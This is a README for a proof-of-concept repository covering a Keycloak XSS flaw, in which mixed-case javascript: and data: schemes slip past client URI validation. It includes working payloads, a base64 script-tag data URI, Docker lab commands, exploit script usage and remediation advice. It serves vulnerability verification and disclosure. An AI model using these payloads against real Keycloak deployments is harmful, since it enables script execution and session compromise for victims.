
CVE-2026-9086 proof-of-concept for Keycloak client URI validation bypass using mixed-case javascript: and data: XSS payloads, with Docker-based verification of vulnerable and fixed versions.
This repository contains a Proof of Concept (PoC) for CVE-2026-9086, a Cross-Site Scripting (XSS) vulnerability in Keycloak client URI validation.
Vulnerable Keycloak versions compared the prohibited javascript: and data:
schemes case-sensitively. Mixed-case forms such as jaVaSCript: and DaTa:
therefore bypassed validation, while browsers interpret URI schemes without
regard to case. If a victim clicks a resulting crafted link, JavaScript may run
in the Keycloak origin.
This PoC starts Keycloak 26.6.3 (vulnerable) and 26.6.4 (fixed) with Docker. It submits the same mixed-case URI through the Admin REST API and demonstrates that 26.6.3 stores it while 26.6.4 rejects it with HTTP 400.
The PoC never opens the registered URI or executes JavaScript.
Use this project only for education and authorized security testing. Do not test third-party Keycloak installations without explicit permission. The author assumes no liability for misuse, damage, or illegal activity.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client permission or access to client
registration endpointsBefore the fix, DefaultClientValidationProvider used case-sensitive
String.equals() comparisons:
uri.getScheme().equals("data") || uri.getScheme().equals("javascript")
Since java.net.URI#getScheme() preserves the input case, values such as
these were accepted:
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
The fix replaces those comparisons with equalsIgnoreCase().
docker compose up -d
| URL | Version | Expected result |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | URI accepted (vulnerable) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (fixed) |
Wait until both logs contain Listening on:
docker compose logs -f
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
Expected result:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
Expected result:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data: casepython3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
The script obtains an administrator token, creates a client with a randomized ID and a mixed-case prohibited redirect URI, then checks the response. On the vulnerable version it retrieves the client and confirms that the URI was stored. On the fixed version it confirms the HTTP 400 validation response.
It does not open a browser, navigate to the stored URI, or execute JavaScript.
Upgrade Keycloak 26.6 to 26.6.4 or later, and Red Hat build of Keycloak
26.4 to 26.4.13 or later. Audit existing client URI fields for mixed-case
javascript: and data: values, and limit client-management and registration
permissions.